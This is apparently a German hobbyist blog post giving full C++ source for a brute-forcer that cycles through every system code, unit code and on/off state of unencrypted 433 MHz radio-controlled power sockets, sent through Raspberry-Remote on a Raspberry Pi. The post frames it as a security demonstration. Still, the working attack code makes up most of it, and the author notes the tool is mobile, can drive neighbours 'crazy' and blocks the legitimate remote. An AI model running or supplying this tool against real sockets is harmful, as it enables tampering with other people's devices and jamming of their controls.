433 Mhz Brutforcer (Jammer)
Disclaimer:
Das hier Gezeigte dient nur zur Verdeutlichung wie unsicher 433 Mhz Funksteckdosen sind. Das ist KEINE Aufforderung zum Nachmachen. Jeder handelt auf eigene Verantwortung.
Vorwort:
Da immer mehr Leute eine Hausautomation einsetzten, wollte ich einmal demonstrieren, wie unsicher einige 433Mhz Funksteckdosen sind.
Zu erwähnen ist, dass einige Komplettsysteme verschlüsselt sind und einen Rolling-Key benutzen. Damit sind diese relativ sicher.
Viele benutzen aber einfache und unverschlüsselte Steckdosen, wie in meinem letzen Post gezeigt. Das hier gezeigte Programm benötigt
Raspberry-Remote. Wie dieses insatlliert wird, habe ich auch im letzten Post gezeigt.
Hier geht es zu dem Post: Lampen Sprachsteuerung via Google Now
Das Programm:
Wie ihr auf dem nachfolgenden Bild sehen könnt, gibt es 128 Möglichkeiten um die Steckdose einzuschalten und nochmal 128 um sie auszuschalten. Diese 256 Möglichkeiten werden 10 mal durchlaufen. Dafür brauchen der Brutforcer knapp 21 Minuten.
Hier der Quellcode:
#include <cstdlib>
#include <stdio.h>
#include <iostream>
#include <sstream>
using namespace std;
string berechne_systemcode(int param)
{
int rest[5];
int i;
for (i = 1; i <= 5; i++)
{
rest[i] = param %2;
param /= 2;
}
stringstream bit1;
bit1 << rest[1];
string b1 = bit1.str();
stringstream bit2;
bit2 << rest[2];
string b2 = bit2.str();
stringstream bit3;
bit3 << rest[3];
string b3 = bit3.str();
stringstream bit4;
bit4 << rest[4];
string b4 = bit4.str();
stringstream bit5;
bit5 << rest[5];
string b5 = bit5.str();
string scode = b5+b4+b3+b2+b1;
return scode;
}
int main()
{
int nwiederholung, status, nsteckdose, nbit, nbit1;
string onoff, unitycode, systemcode, commendcomplet;
string command = "sudo steckdosen/raspberry-remote/send "; /*lage dess send Befehls*/
string lehr =" ";
for (nwiederholung = 1; nwiederholung <=10 ; nwiederholung++)
{
for (status = 1; status >=0; status--)
{
stringstream on_off;
on_off << status;
onoff = on_off.str();
for (nsteckdose = 1; nsteckdose <= 4; nsteckdose++)
{
stringstream sdose;
sdose << nsteckdose;
unitycode = sdose.str();
for (nbit = 0; nbit <= 31; nbit++)
{
nbit1=nbit;
systemcode=berechne_systemcode(nbit1);
commendcomplet = command + systemcode + lehr + unitycode+ lehr +onoff;
system(commendcomplet.c_str());
}
}
}
}
return 0;
}
Alles anzeigen
Oder einfach hier die .cpp runterladen:
https://www.file-upload.net/download-12324022/bf433.cpp.html
So sieht es aus, wenn das Programm läuft (via Putty):
Schlusswort:
Über den Sinn von diesem Brutfocer kann man natürlich streiten. Jedoch wäre das ganze Gebilde mit einer Powerbank mobil.
Die Reichweite ist natürlich beschränkt, reicht jedoch um seine Nachbarn in den Wahnsinn zu treiben.
Und es ist hauptsächlich ein Brutforcer und kein Jammer. Jedoch hatte ich Probleme mit der Fernbedienung durchzukommen, während das Programm läuft.
Natürlich habe ich auch wieder ein Video zu diesem Thema gemacht: